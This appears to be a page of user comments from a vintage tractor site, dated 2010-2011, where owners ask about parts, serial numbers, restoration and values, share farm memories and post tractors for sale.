Jen Puffenbarger wrote on Saturday, July 09, 2011 (PDT):My father restored a W-12 more than 40 years ago. For 36 years, I have had the tractor in a parade for the annual lawn party. This year it may miss the parade because of a part that is cracked and needs replacing. I am hoping someone can help me find a part. We are trying to fix the cracked one. The best I can describe it is it s the part that the crank fits into. I can send pictures if needed. Thanks!
Jim P wrote on Saturday, July 02, 2011 (PDT):In my County there is a farmer selling his JD 720 LPG JD 730 LPG. Which propane tractor is better Can you still get all the necessary parts for a old propane tractor Thanks
robert gilbert wrote on Friday, July 01, 2011 (PDT):did they make a 600 ford tractor that was gray fenders and hood an motor was red
Chris Brossart wrote on Saturday, June 25, 2011 (PDT):Have a 1947 b S#206413 grand parents bought new have the org. bill of sale completly restord have over 200 hrs in it .Our 125th in the small town i live in is in 1 week.Woundering if anyone knows where the right placement of thr power-trol decal and drive tractor at safe speed decal goes.thax chris
eric huffman wrote on Thursday, June 23, 2011 (PDT):i have a 3 cylinder ford 2000 diesel which is not the ford 2000 series diesel which began in 1965. The only pictures of tractors that look similar are fordson dextas, am i correct on this assumption
Neal wrote on Tuesday, June 21, 2011 (PDT):I noticed theres no front lights on this te 20 my dad just got my great uncles te 20 which he bought brand new and theres no front lights on it. Is this common with the te20 s. The tractor is in excellent shape my uncle kept all the receipts. But theres no front lights and we searched the old burn over for them no luck. My dad has a ferguson 30 and 35 all ready restored.
richard wrote on Tuesday, June 07, 2011 (PDT): I have an oil leek at the bolt holding the draw bar, on the transmion housing. there s a bracket holding the bolt or pin . my question is how to remove that brack or pin from the housing
Harold wrote on Sunday, June 05, 2011 (PDT):I have been searching for a photo of an old two cylender JOHN dEERE tractor with a spoked flywheel. Yes I know there wa a recall on this. As a youngster, I am Now 79. I was facinated watching this tractor Pulling a threashing machine.
Tom Schuster wrote on Sunday, June 05, 2011 (PDT):My grandfather had an Avery like the one pictured and used it on his truck farm in Louisville. I have a photo of me at age three sitting on the seat with my straw hat on and a corncob in each hand! Wish Ihad that tractor!
EUGENE KIRKVOLD wrote on Monday, May 30, 2011 (PDT):i HAVE A 1953 F4 SERIES U INDUSTRIAL T TRACTER WITH INDUSTRIAL FACTERY LOADER and lifting working load of 6000 lbs but will lifr up to 9000 lbs I cant find one anywere its etreamly rare and I cant find information on the web about it eather ialso have the complete macanics manual on how to repair it .A GRAVEL COMPANY HAD IT AND USED IT TO LOAD THIER GRAVEL TRUCKS UNTIL FOUR WHEEL LOADERS CAME OUT ITS A 4 CILENDER AT 423 CUBIC INCHES HAS LOTS OF PUSHING POWER AND IS REAL EASY ON GAS FOR THAT BIG AN ENGINE ABOUT 2 GAL AN HR IVE A LOGGING BUS. PART TIME AND HAVE USED IT FOR THAT OR ANY OTHER LIFTING REQUERED
Ossie Fargher wrote on Saturday, May 28, 2011 (PDT):I am restoring a Massey Harris GP Have been told according to it s serial no it is the first off the assembly line with the Hercules OHV engine and am looking for a magneto, manifold and steering box components. The tractor is in New Zealand
Monty A Waits wrote on Monday, May 23, 2011 (PDT):I have a 1947 Cub restored from the ground up. A museum tractor all original,upgraded to 12 volt electrical system. Also comes w/h cultavators. If anyone is interested please contact via email for further info. Thanks, Monty
Donna Okonek wrote on Sunday, May 22, 2011 (PDT):I am looking for a Farmall W-12 tractor. I have a motor and transmission, I need the frame and fenders. If anyone knows of one sitting in the weeds in a back field PLEASE contact me. Thanks.
jamie fish wrote on Sunday, May 22, 2011 (PDT):beautiful tractor. i have a 48 te20 doesnt look like this one but it was my grandfathers and i will always remember the days of him working in the garden. and will always cherish this tractor
Linda Ross wrote on Saturday, May 21, 2011 (PDT):Have inherited an old McCormick-Deering Trac Tractor, not sure of the year in the late 30 s, I think..would like to sell to get it a home..Interested please respond. thanks and God Bless..located in Washington state....
John Wills wrote on Tuesday, May 17, 2011 (PDT):I have a Farmall Super C that I would like to find a home for. Complete tractor in good condition with hydraulic accessories. Location is Temecula, CA
Reggie Palmer wrote on Sunday, May 15, 2011 (PDT):I have a 1927 Farmall Regular that I would like to restore. To be more accurate I should say I have the frame rear end and front end with bad cut-down wheels front and back I need everything else. I am looking for either another regular for parts or alot of individual parts. I can also use all the advise anyone has to offer!
Ken Gardner wrote on Thursday, May 12, 2011 (PDT):I have rebuilt farmall C with wide front end so nice , tuke hyd. off my super C put on my C , allso have 2 H, M, A. and have a BN for parts if anyone needs any thing, Ken Reed Creek N.Y.
Wes Wigton wrote on Wednesday, May 11, 2011 (PDT):Hi, we have an 8-16 tractor for sale by auction on June 2 2011. contact us if you would like more information. 740-362-0007
SH wrote on Thursday, April 28, 2011 (PDT):We are trying to restore a Super C tractor. On the gaskets, we are not sure which way they should go. Any Suggestions TIA
Lynda wrote on Tuesday, April 26, 2011 (PDT):We havwe owned a 1954 Deisel Fordson Major for 15 years it is 50 hp. It has been a wonderful acreage tractor. We ar now replacing the hread gasket and we dont know what the tourque pressure per pound is for the head bolts. Dont want give up my tractor for anything
Lynn Abraham wrote on Tuesday, April 26, 2011 (PDT):Looking for cylinder head for Twin Cities Minneapolis-Moline tractor engine #103523. Casting #FE7G. Jensales parts catalog list part code as FOETN Part #FE5007G Standard Cylinder Head.
Albert Schut wrote on Tuesday, April 26, 2011 (PDT):I grew up on a muck farm, my dad and grandfather had an OC6 that they bolted 24 oak 2x4s to the tracks. In the spring when we couldn t get on the field with anything else, that old Oliver would almost walk on water. We still have an OC3 from those days.
chris greer wrote on Monday, April 25, 2011 (PDT):I just traded for a 1952 MDL A john deere. its 100% orignal except its been converted from 6 volt to a 12 volt. I hope to have it running soon. Does anyone have an idea of what this tractor is worth in fair condition
Paul Semrad wrote on Saturday, April 23, 2011 (PDT):We recently bought an 830 and the front belly pan is cracked we would like to fix it properly so if anyone knows where another one is your help would be appreciated.
Jack wrote on Thursday, April 14, 2011 (PDT):I need info on heating lock collars on rear axle of 800 ford tractor
joe wrote on Wednesday, April 13, 2011 (PDT):I recently got a 801 with sos, the tractor has a short delay when shifted into gear before it will move. I m unable to locate where to check the fluid level, or the fill. I was told the level/filler was in front of my right foot when sitting on the tractor, however all I see there is a slotted shaft with a lock nut.. need some some help folks.
dale buecker wrote on Wednesday, April 13, 2011 (PDT):Eh. MY family had nothing but problems with the wd45. we have botht the wd and the wd45. The wd outperforms the 45. Kinda strange . oh well poop on me ;
cecil pittman wrote on Saturday, April 09, 2011 (PDT):contact me about your B allis chalmers questions. im very educated on the B
Brad wrote on Friday, April 08, 2011 (PDT):One year while chisel plowing with our 5010 the tractor went down to the axles in the low part of the field. The only hope we had of getting it out was to fire up the old 1956 80 which already had bad rings and waiting for a repair. She started up reluctantly, smoked pretty badly and limped out to the field and dragged the very heavy, mud bogged 5010 out of the mire. Very impressive old girl! We still have it and love it, she has the rare fender extensions and the loaded 23.1 X 26 rears. A beast.
john fields wrote on Wednesday, April 06, 2011 (PDT):just got my ac 160 a few days ago it needs some work but im happy with it.
C Harvey wrote on Sunday, April 03, 2011 (PDT):Love the olivers! I own one 1800A gas, one 1800B diesel, and one 1800A diesel. Using one for parts and use the other two and they run great, also own Super 88 diesel and it still runs great. Am looking at a 1900 Standard, has the checkerboard sides, huge tires, all there but battery cover , needs cleaned up, said it runs but has hole in fuel tank, has the screamer motor used to own a Super 99 so remember the noise What would be a fair price for this tractor We have several Oliver tractors, my dad really liked them and so do I.
John Reynolds wrote on Saturday, April 02, 2011 (PDT):I need a fuel cap for a AC 160
Rick wrote on Friday, April 01, 2011 (PDT): Last week I bought a Int. 240 utility tractor, don t know what year or anything else. But about the 2pt and 3pt hitch, this tractor don t any kind of a hitch, can I get 3pt hitch any where,or make one, how do I start/where.
ED bianco wrote on Thursday, March 31, 2011 (PDT):I HAVE A FARMALL CUB I THINK. THE TRACTOR S/N IS121183 THE ENGINE S/N IS 1800 ON THE LEFT SIDE OF THE BLOCK IS THE # 251341R2 CAN ANYONE GIVE ME AN IDEA OF THE YEAR MFG I HAVE BEEN TOLD IT MAY BE A 1951, BUT WOULD LIKE TO BE CERTAIN THANK YOU ED
Bill Pearson wrote on Thursday, March 31, 2011 (PDT):The tractor is a ZB or ZA_Model-Special it was made the last year of Z production in 1955-56 If my memory is correct. It had everything you could want, Power stearing heaver brakes, everything but a 3 point hitch. Minneapolis Moline changed models that next year and introduced the 335 445 which was an all new tractor with an all new Hydralic system with a draft sinceing 3 point hitch, made by Cesna aircraft. Both of the new tractors had a different feel, like driving a Ford tractor. I rember that their was a change of ownership,or management at this time in the Company. My father was a MM dealer from 1938 to 1976. I was 10 when the new models came out I rember the company gave away motor bikes and sewing machines with a new tractor.
margater meier wrote on Tuesday, March 29, 2011 (PDT):Have a 1949 farmall H with attached mower serial # 324614 what should I ask for it
Peg Miller Maumee Valley Antique Steam Gas Assoc. wrote on Monday, March 28, 2011 (PDT):Thank you for the wonderful picture. We will be having our 17th Annual Winter Tractor Engine Show at the Memorial Coliseum, Fort Wayne, IN. A Waterloo Boy Tractor is going to be shown. I wanted to read up on it. If anyone is interested, our Show is April 1st-April 3. Admission is 7 per person 12 years and older. Parking is 4.00. Over 200 antique tractors, steam engines etc. will be shown. Questions; call Rick Walker, President of Maumee Valley Antique Steam Gas Association at 260/623-4314. Our Club is located at 1720 S. Webster Rd., New Haven, IN 46774. Our Summer Show will be out at the Fairground here August 18- August 21, 2011.
dallas druar wrote on Sunday, March 27, 2011 (PDT):hello i just bought what i think is a 1953 Fordson Major deisel tractor but i cant find the serial # on it and it has an aftermarket loader that i am trying to find seals for. If you could get back to me with some info thank you !
tom bolden wrote on Sunday, March 27, 2011 (PDT):looking for continal or perkins engine the is a 130 or fit in a backhoe
Dan Johnson wrote on Thursday, March 24, 2011 (PDT):The first tractor I drove as a kid was a mm. I am looking at a uts with rear wheel weights hyd and pto on lp. What will it weight and any thing to look for. It looks real clean. 2000.00
Chris Harkin wrote on Tuesday, March 22, 2011 (PDT):I have a Farm All Super A 1952. Looking to replace the front tires as they have been running on car tires for years. Other tractor companies in the district have laughed at my predicament. Where can I purchase tires in Australia, better still Queensland
Ed Dickson wrote on Saturday, March 19, 2011 (PDT):I have recently acquired a Massey Harris Tractor, I am guessing it is a 55, But would like any help identifying for sure. It is for sale, all or for parts in Central Montana. Call 4065807079 3/18/2011
Dave Bartz wrote on Wednesday, March 16, 2011 (PDT):We had 2 oliver 70 s orchard tractors on our fruit farm in Berrien Co. Michigan--a 1947 and a 48 I loved driving the 48 when pulling an off set disc in the orchards when it was under full power. The ole 70 never let me down--it could run all day. The governor on it was interesting--the 70 would rip and snort going up hill and then when heading down hill the governor would hold it back. Then when you headed up hill again, the 70 would let out a couple of snorts and you were back to full power. It was a great tractor.
lynn morelock wrote on Sunday, March 13, 2011 (PDT):Looking for a 160 allis chalmers perkins diesel engine
Dan Lindstrom wrote on Saturday, March 12, 2011 (PST):I have a T9 gas crawler. We need a radiator core for it. Anyone know where it could be found. Local IH dealers parts man says the # in our parts book is no longer available. Thank you
Bobby Littleton wrote on Thursday, March 10, 2011 (PST):Can you tell me the year or where I can find it on a #1530 McCormick Deering Tractor SN# TG131714M. I think this is a 36 horse power. Also the value of this tractor in fair condition. Running when parked about 20 yrs. ago. Manual crank will turn engine over now. Been under barn and not bad rusted. Thanks.
junior frazier wrote on Sunday, March 06, 2011 (PST):The serial # on the d-17 can be found on the left side ,top of bell housing mountsto the tranmission
Alberta_Bound wrote on Wednesday, March 02, 2011 (PST):I have recently acquired an MM M5, Diesel, with a Hydraulic Loader. decent shape, runs. 500. Problem is, its 2 hours away from my house and all i have to tow it with is my half ton with a car hauler. my question is; Does anyone know ballpark the weight of this tractor I believe the safe working load of the trailer is around 6000lbs. I have until spring to pick it up, thanks.
Bill Steele wrote on Tuesday, March 01, 2011 (PST):We are restoring a 1917 12-25 avery tractor ser# 7410 and would like any information on the orginal color schiem and what decals go on, there color and location or any other information would be much appreciated. Thank you Bill
joe wrote on Sunday, February 27, 2011 (PST):needing help with my ensign carb on my 1918 8-16 . Dont know how to set the carb or keep it from flooding.any help would be greatly appreciated. Plz e-mail me ..also looking for an air cleaner for same tractor.
Bill Roberts wrote on Sunday, February 27, 2011 (PST):I have a 1948 8N tractor that I am redoing and I need a sleeve puller,can anyone tell me were I can purchase one at
wilfred j saulnier wrote on Saturday, February 26, 2011 (PST):i am asking if anyone out there reading this who has a 1950 international cub tractor and allso has a snow blade of the original style that converts to a grader blade would be willing to send me the dementions of it in lengths and widths and thicknesses of the material included in the making of it and any thing else that would help me in the home making or fabrication of the same kind of blade with all its measurements, thank you so very much , and the best to you all........wilf
Dave wrote on Thursday, February 24, 2011 (PST):We own a Rumely Model W from 1922, in good running condition with all original parts. Does anyone know what it is worth
Eric Diedrich wrote on Thursday, February 24, 2011 (PST):anyone no where to find a wiring diagram for starter solenoid on a 1967 D17
Eric Diedrich wrote on Thursday, February 24, 2011 (PST):anyone no where to find a wiring diagram for starter solenoid on a 1967 D17
Fred Chandler wrote on Wednesday, February 23, 2011 (PST):I have a 1951 Pony. Need to know the correct paint numbers and brand name for the red and yellow on the tractor.
I have a 1949 mt single wheel for sale if interested call me at 256 506 1865 samuel jenkins wrote on Wednesday, February 23, 2011 (PST):call for info on 49 mt single wheel
Johnny Allen wrote on Thursday, February 17, 2011 (PST):I have a Ford Super Major Diesel Backhoe. I don t know what year and I don t know where to find the serial #. I m having a problem with the hydraulics. I live in eastern North Carolina and I don t know where to find parts for the hydraulics. I went to a tractor store for an O ring the guys there said they had never heard of a Ford Super Major backhoe but they assured me that the O ring I got would seal. It didn t. I don t know where to get any parts. Any info. will be greatly appreciated.
ron Lemieux wrote on Wednesday, February 16, 2011 (PST):looking for parts for 8 16
Leonard Parker wrote on Wednesday, February 16, 2011 (PST):I have just placed an ad on Craigslist to sell my McCormick Farmall Super C. Basically selling it for parts or restoration fun for someone else.
stanberven berven wrote on Tuesday, February 15, 2011 (PST):would like purchase a later model silver king tractor call 785 280 3197 or 785 263 7063 will pay top dollor for agood one
gregory gafford wrote on Monday, February 14, 2011 (PST):my father left me an oliver tractor want to know what year type. how can i tell
Jay Reed wrote on Saturday, February 12, 2011 (PST):I have a Wallis tractor, I believe it to be a 12-20I am interested in selling or restoring. It is complete, it has a few dents but is in one piece with rubber tires.
Paul Hach wrote on Friday, February 11, 2011 (PST): I am looking for parts for a wallis tractor model 30 Please get back to me please. paul
Brandon Clark wrote on Monday, February 07, 2011 (PST):I have a 1949 farmall cub with hydrik lift on my tractor. but my tractor dose not startgood in the winter because it has a 8 volt battery and it has a six volt ganterater. so do i need to put a 12 volt system in it
Brandon Clark wrote on Monday, February 07, 2011 (PST):I have a 1949 farmall cub with hydrik lift on my tractor. but my tractor dose not startgood in the winter because it has a 8 volt battery and it has a six volt ganterater. so do i need to put a 12 volt system in it
Tony Daniels wrote on Friday, February 04, 2011 (PST):I have a Farmall M that when in neutral it is still in gear, it acts like about 5th. When I actually put it in gear and let the clutch out it just boggs down and will not move. Does anyone know how I can solve this problem with out removing the gear box cover Any help would be greatly appreciated. Thanks
Chuck Holm wrote on Tuesday, February 01, 2011 (PST):Have a 160 AC serial # 141573. I am looking for the hood decals/stickers that have a cream backbackground with black letters with 160 allis-chalmers on it. please help if you can. thanks
Rudy LeBlanc wrote on Thursday, January 27, 2011 (PST):I own a Massey Harris Pony 1954 I think, I d like to know if there s another way to set-up a power take-off rather than the original attachment.
License Plate Search wrote on Thursday, January 27, 2011 (PST):How should you perform a reverse license plate owner research I would like to know if there is any kind of way you can type in a license plate number online and see the contact of that guy if it is associated with or perhaps the address of that person. Can anybody assist me It s an Illinois license plate with S in the end of it. Please email me if you re able to do a search or post if you know the way to do a free one. Thanks in advance.
Cole Lake wrote on Monday, January 24, 2011 (PST):About a year ago i bought a oliver 70 row crop and it needed a motor, cause it was locked up from sitting.So i bought another oliver 70 from a guy, and i figured i could take two and make one then restore it later, but the guy got me on that deal and when i got it home after a 200 mile round trip it was seized to. As i worked on that on i found a running restored one 5 miles away for 500 and it came with a half a 60 row crop cut right in half. And just yesterday i found my first whole running oliver 60 that i am hoping to get.They are great running tractors and they are TOUGH i love em. Thanks Grampa for getting me into restoring tractors.
Atr Briard wrote on Saturday, January 22, 2011 (PST): Searching for the cleatrac by Oliver .Running condition.
Ernie Moore wrote on Saturday, January 22, 2011 (PST):I Have A 430-W.New Tires 3PT Hitch,PTO,Tractor Runs Good. 4.000 FIRM.Dorchester S.C....ONE HOUR FROM CHARLESTON OR COLUMBIA S.C.. 803-347-2518 THANKS.
sue wrote on Friday, January 21, 2011 (PST):my son-in-law is looking for starter for his 1949 case sc tractor
George Underwood wrote on Friday, January 21, 2011 (PST):I am a new owner restoring a 1952 Avery R I have installed proper linings on the brakes. How do I put the bottom bolt through the 2 brake bands, the bottom expansion spring and somehow get the u-shaped spacer in place. I dsperately need help. Phone 519-531-2777 or 519-357-3619
Ray Groom wrote on Thursday, January 13, 2011 (PST):I bought a 460 international utility industrial tractor backhoe a couple years ago for 2300.00 at auction and i took it to job site it had no balls wouldn t dig I put a new pump into it still no balls checked the compression all were low so took the engine out took it to henry mootz by portage paid to have it completely rebuilt, I got 2 new rear axle hubs now the only thing i have left to do is to replace the rear main axle seals and behind the throwout bearing theres a seal in there under the shifter that was leaking. does any one know how to replace the rear axle seals and how to get apart the area behind the throwout bearing, I down loaded onto craigslist my machine for sale for 4,000.00 but i have 8500 invested so if I could get it all back together i could probably get more money back on it and not take such a loss. So if could give me the info would be much appreciated.
Randy Hobbs wrote on Wednesday, January 12, 2011 (PST):I grew up on the fender of dads MM M5. I m not sure what year model, 1960 or 1962. His was lpg, 3 pt hitch and had the round wide front axle. I remember the high/low torque lever on the right side near the right and left brake pedals. I just wished I could finde a 1/64 scale model of this same tractor.
Verle Hennings wrote on Monday, January 10, 2011 (PST):My neighbor has his Dad s e-4 coop but can not find anyplace for parts. He does not have internet so I told him I would help. Any ideas for e-4 s.
charles salisbury wrote on Friday, January 07, 2011 (PST):we had one in 1962. it was i tricycle. no power steering, it would spin the steering wheel and nearly break your arm. the tractor hah lots of power,and very strong hydraulics. we broke something in the gears and it took forever to get repairs, the tractor sat in the plow furrow all spring.
Shannon Clark wrote on Friday, January 07, 2011 (PST):We recently inhereted an R that s in good shape, and runs we need to get the pony engine checked out and replace the screen on the grill, the tires are good. We are looking to sell it, still checking into prices. If interested call 307-286-9486 Southeastern Wyoming
Don Hanvey wrote on Friday, January 07, 2011 (PST):Where can I find info. on installing a belly mower on my super c
Curt Friday wrote on Thursday, January 06, 2011 (PST): 34 Monarch with steering wheel. Work in progress. 11,600# machine in pretty bad shape.... I ll have it running in a year or so.
John Lewis wrote on Tuesday, December 28, 2010 (PST):I have a 1950 massey harris pony tractor with a disk and plough. Can tell me or send a picture on how to mount the plough
jake wrote on Monday, December 27, 2010 (PST):i have a 504 utilty and am wating to use it for tractor pullig. i know it needs a bigger motor. what is the biggiest i could put in it thanks
myron taylor wrote on Friday, December 24, 2010 (PST):My grandfather had a 30 C. around 50 s 60s then got rid of it on something else. His name was Stanley Taylor. Lived in Birchton Quebec. Like to know where that tractor every got to, if I knew I d try to buy it but it s proably scrape long ago. Some day I ll find another to buy, first tractor I every drove.
bobby wood wrote on Wednesday, December 22, 2010 (PST):liz i am interested in finding la case tractor to restore i drove one as a boy and we powered a thresher with for many years please return any info or pics price and location
jackie bragg wrote on Friday, December 17, 2010 (PST):does a massey harris pacer on a 6volt system wire positive to ground
skip miller wrote on Thursday, December 16, 2010 (PST):I am looking for a g1350LP with cab
Robert Briggs wrote on Tuesday, December 14, 2010 (PST):I m the editor of the National Sheppard Diesel Club. For those who are not a member shall contact me for join in the club and newsletter. This will be helpful for you and it is fun to know new and old friends. I am from Iowa. Thanks.
TW Hertel wrote on Saturday, December 11, 2010 (PST):I have several E-3 s and they are real nice machines. I am working on an Cockshutt 20 and am in need of transmission gears. I pretty well have a complete tractor with a motor that was rebuilt from head to toe. The tranmssion sat for years with water in it and the gears are badly pitted. Any help would be greatly appreaciated.
Gerrit Coetzee, South Africa wrote on Saturday, December 11, 2010 (PST):I have an old Pony with PTO, plough and plough operating levers; weights on all wheels, etc.. Value
Jackie Bragg wrote on Friday, December 10, 2010 (PST):I have a 1956 Pacer I have cleaned and painted it new decals--It had a belly mower with it I have seen pictures with a scrape blade under the belly ---does anyone know where yo get one
bud eller wrote on Thursday, December 09, 2010 (PST):I have a ac B but I don t know how old it is , where do I find the serial no.
Jay Wells wrote on Wednesday, December 08, 2010 (PST):My dad bought a SC case he thinks in 1954. We stored this tractor for 30 years and decided to restore it last year. Its in tough shape but with some love she ll run again. We re not sure what year it is. The serial # SC 8037696 Cann anyone help. Jay
Eugene Hornbeck wrote on Sunday, December 05, 2010 (PST):I have a 1956 Pacer all orginal with orginal tires, 14 inch 2 way plows, front mounted snow blade, cultivators, 6ft. side mower with all orginal gards, orginal 1 row corn planter, all orginal owners manual for all equipment. Tractor runs great. Used often for my farm work.
John Johnston wrote on Sunday, December 05, 2010 (PST):We are attempting to replicate the font type for this vintage Case tractor to use on a toybox I m making for my grandson, Case yes, named after the tractor ; we were hoping to enlarge the picture, then trace the letters, but the shadow on the picture makes it difficult to see. We could not find the proper font on Microsoft Windows or we would have gone that route. Can anyone help
george prince wrote on Sunday, December 05, 2010 (PST):need tranmission gears for sd-4 tractor. any one know where i can find them
Daryl Hahm wrote on Tuesday, November 30, 2010 (PST):cable fix on this tractor for select o shift.. I like a few have found this cable hard to find at best. the cable usualy brakes at the junction. well burn off both ends with a torch careful not to burn off cable. fit both ends in a vice and begin to braze with very low heat I mean real low dont rush work brass into 3/8 inch of the cable on both sides of junction. this is one time you add far more then you need. after you have admired your worst braze job get your file a beverage and some working music. I filed both sides and center area down until I was at the steel cable. once you have filed the repair area down to fit the guide tube make sure tube is streight lube and slide the cable back into the tube. put your tractor back together and go to work. for those who say this cant be done your are welcome to check mine out as this is now the strongest part of my shift system. Do avoid any bends at the base end of the guide tube as your repair isnt flexable.
mike coyer wrote on Wednesday, November 24, 2010 (PST): My Neighbor has a John Lauson tractor 1925 I think. But the engine has been changed, has a Herules, he bought it that way. He would like to find a Beaver to get it closer to original. Give me a call if you know where one is 419-494-2444
Mike Welge wrote on Wednesday, November 24, 2010 (PST):My father just bought a Farmall FAAV high clear as a non runner! Dad and I worked on it just under 4 hrs! The farmer that owend this tractor wrote on the side loose, last ran 3 years ago, shes a bit rough, she runs like a top! The info I have found in a book says that they made 3,602 of this style tractor. Every tractor we buy has a perment home with the rest of the farmalls,internationals,ac,john deeres,massey,we love the little ones! Resqued one from being flooded for a 3rd time and that cub runs great! If anyone needs questions answerd e-mail me.
Marty wrote on Monday, November 22, 2010 (PST):I am working with an Aggie School to renovate my Dad s F-14 tractor, looking for a running parts tractor, I have been advised by the school it needs alot of parts as it s got the proverbial cracked block and head of most of these tractors, plus alot of other old parts from sitting....any words of wisdom out there I m in New England....
henry wrote on Saturday, November 20, 2010 (PST):I have a 1958 international tractor, the power steering worked when bought but started leaking when the front tire went sideways in a hole and now dosen t work does anyone know how to fix!
kenny mulholland wrote on Thursday, November 18, 2010 (PST):i just bought a 1959 d17 with the oval decals. she is in rough shape but has not been abused just wheather where. nice running when i get her started just has a bad battary. needs some gages and a good paint job if anyone has advice on why there is a air leak in one of the cyldenders let me know when or if adjusting the valves will help thank you
kenny mulholland wrote on Thursday, November 18, 2010 (PST):i just bought a 1959 d17 with the oval decals. she is in rough shape but has not been abused just wheather where. nice running when i get her started just has a bad battary. needs some gages and a good paint job if anyone has advice on why there is a air leak in one of the cyldenders let me know when or if adjusting the valves will help thank you
wayne tanner wrote on Wednesday, November 17, 2010 (PST):i am 62 yaers old, i have a 1948 ih farmall cub. the serial # is 38023, we are the same age.
Jenny White wrote on Tuesday, November 16, 2010 (PST):Hi I live in Dorset uk and have just bought a John Deere Lindeman BO crawler, We need to get one track chain for the pads are good so is one of the chains, She s a wonderful little crawler. and going by her serial no she was made in 1946. can anyone tell where we check the oil Many thanks Jenny
Otto Walace wrote on Monday, November 15, 2010 (PST):I have a 54 Fordson Major Deisel i am fully restoring to original condition new clutch, pressure plate, stripped down new paint, pump and injectors rebuilt. I have owned for the last 15 years used for bush hogging,grading runs like a top 10 years ago i rebuilt engine and replaced sleeves, pistons, bearings. I may have put 150 hrs since then It will be for sale when completed.great for a collector 850-324-0934
eric wrote on Friday, October 29, 2010 (PDT):went over 75 acres with an h out in front pulling a 1091 hesston haybine up and down all over northeastern missouri in 2nd gear wish it hadnt rained everyouter day
J N Kryder wrote on Thursday, October 28, 2010 (PDT):My dad ownes a 61 checkerboard as they say with the 4-53 GM Detroit. The unique thing about this tractor is the fact that it has a pan that was set-up for this tractor. We still have the pan as well. We currently are in the process of having the tractor restored. Anyone have ideas on the best places to purchase parts. Gauges/Seats, ect ect. Thanks and keep them GM s Screamin!!
Andrew Welch wrote on Tuesday, October 26, 2010 (PDT):restoring a 1939 styled d.. I need a hood and breather stack..Lake Charles,La-337-515-9674
Jim Phillips wrote on Saturday, October 23, 2010 (PDT):I am restoring a 1938 F-20 with cast rear wheels and would appreciate knowing the correct silver color for the front and rear rims, the tractor is on rubber tires. Thanks, Jim
Rich Hoerth wrote on Thursday, October 21, 2010 (PDT):I have my father s KTA with a radiator that has the Twin MM City wording on it. The tractor has been Prairie Gold since my dad bought it in 1947. I am in the prcess of restoring it. I am coming close to painting. The question is the color I have sripped, sand blasted and removed almost evey inch of old paint and have found no trace of gray paint anywhere on the unit. I have heard that all of the KTA s were gray but my tractor seems to be different. Is this possible I want to paint it Prarie Gold because that is what all of my family has ever known it to be. Any ideas or advice Thanks
David Printz wrote on Monday, October 18, 2010 (PDT):I have a 1951 Silver King Tractor model 1942,my Dad bought new. need paint code,decals left head light any other information. Thank-You
anita upchurch wrote on Sunday, October 17, 2010 (PDT):my mother has a 1951 b.f. avery model R. She would like to sell. the tractor is in good shape and still runs. But we have no idea on the value of the tractor. any information would be greatly appreciated. can send picture. most of the tractors we have seen online have the small front end. mom s tractor has the wide front end.
eric wrote on Saturday, October 16, 2010 (PDT):tractorman farm and home stores have what you want
kevin pendry wrote on Friday, October 15, 2010 (PDT):my next door nieghbor just bouht a farm and the people told him he could have the tractor in the shed with the house when we opend the doors their was a cockshut 40 gas engine in excellent cond runs great has brand new snow plow would like more info on it like how to tell the year and what it might be worth
kevin pendry wrote on Friday, October 15, 2010 (PDT):my next door nieghbor just bouht a farm and the people told him he could have the tractor in the shed with the house when we opend the doors their was a cockshut 40 gas engine in excellent cond runs great has brand new snow plow would like more info on it like how to tell the year and what it might be worth
James Tatum wrote on Tuesday, October 12, 2010 (PDT):I have finished my 1948 D Leader Tractor. I will get to the lights this winter. I need fender s, I have one that can be restored and I guess I will have to fabricate the other one if I can t find one. It was in a tractor show in Denver NC last year and we are going again this year Oct. 18th.
James Ross wrote on Tuesday, October 12, 2010 (PDT):I have a complete ford major with backhoe loder. rebuilt engine new rear tires loose connecting rod. for sale or I will cut it up. Illinois
jrawson wrote on Monday, October 11, 2010 (PDT):I m wanting to buy a 420C dozer please email if you have one for sale. Thanks 405-277-3334
jerry wrote on Sunday, October 10, 2010 (PDT):i have a 9n tractor and need a starter my problem is i can t get the starter out i removed the 2 bolts and starter came loose but not out the lonshaft with gears on end come part way but not out of themain fram
Jim S wrote on Sunday, October 10, 2010 (PDT):I have a 2010 RU deisel. As everyone else ,I was told after I bought it that it was one of the worst tractors ever. Mine has served me well, with no unusual problems for the year if machine. I REBUILT THE ENGINE LAST WINTER
jrawson wrote on Sunday, October 10, 2010 (PDT):I m interested in the 420C for sale please email me. Thanks
stephen risk wrote on Saturday, October 09, 2010 (PDT):I have 2 leaders not running, one has 2 transmissions, does anyone why or possible the value ot these tractors, thanks frankfort, ky
Wayne Medlin wrote on Saturday, October 09, 2010 (PDT):Recently acquired an Oliver diesel tractor with no grille but the decals on the metal indicate it is a 550. However, the model plate indicates it is a 55-2205. Can anyone help explain to me what I actually have purchased as I don t know which grille I m looking for currently.
Jim Huber wrote on Friday, October 08, 2010 (PDT):we have a Pacer and a single bottom rear mounted plow. we seem to be missing the hardware at the front of the plow beam. The bracket or linkage is the part that pulls the plow. any one with digital photos would really appreciate receiving them to get us started. thanks in advance, Sincerely, Jim
Brad Danhafer wrote on Friday, October 08, 2010 (PDT):I would like to know where i could find parts for a leader tractor... If anyone has any information please respond back. Thanks
Joseph Hauck wrote on Thursday, October 07, 2010 (PDT):My Dad had purchased a 1942 massey harris model 81 row crop when it was a couple years old and i am restoring it right now, it would be 4 generations in our family if i give it to my son, My dad originaly purchased it for his dad to get him away from the horses. Its is for sure a black engine always has been since new.
J. Hitt wrote on Wednesday, October 06, 2010 (PDT):The Abraham Baldwin Agricultural College AET club is building a new pulling tractor based on the AC220. It will replace Cracker Jack our old 190XT pulling tractor
Terry l. Mowdy wrote on Wednesday, October 06, 2010 (PDT):my grandpa had a massey harris 81 but dont remember what year model. but it had two metal planter buckets one on each side.and had lttle plows underneath the tractor with little sweeps on them.if anyone has any pictures of one of theese tractors could send to my email i would appriciate it thanks a lot.
Jim wrote on Wednesday, October 06, 2010 (PDT):The loader on my WD allis is lifts real slow since I had the hyd pump rebuilt. Also when I try to lift a bucket of dirt or snow it will sometimes lift a few inches and stop Any Thoughts
mike koralia wrote on Sunday, October 03, 2010 (PDT):have a 1947 pony 4 attachments run looks good 3000 live duluth in duluth minn 218 591-9349
mike koralia wrote on Sunday, October 03, 2010 (PDT):have a 1947 pony 4 attachments run looks good 3000
john d wrote on Friday, October 01, 2010 (PDT):The 300 utility that I have wiil not lift, these are things I have checked Pump, filter, safety valve, regular vave, replace the lift cylinder. I have flow to the cylinder but no pressure. Can any one help this tractor has been down for a while. I need it to prepair the garden for next year.
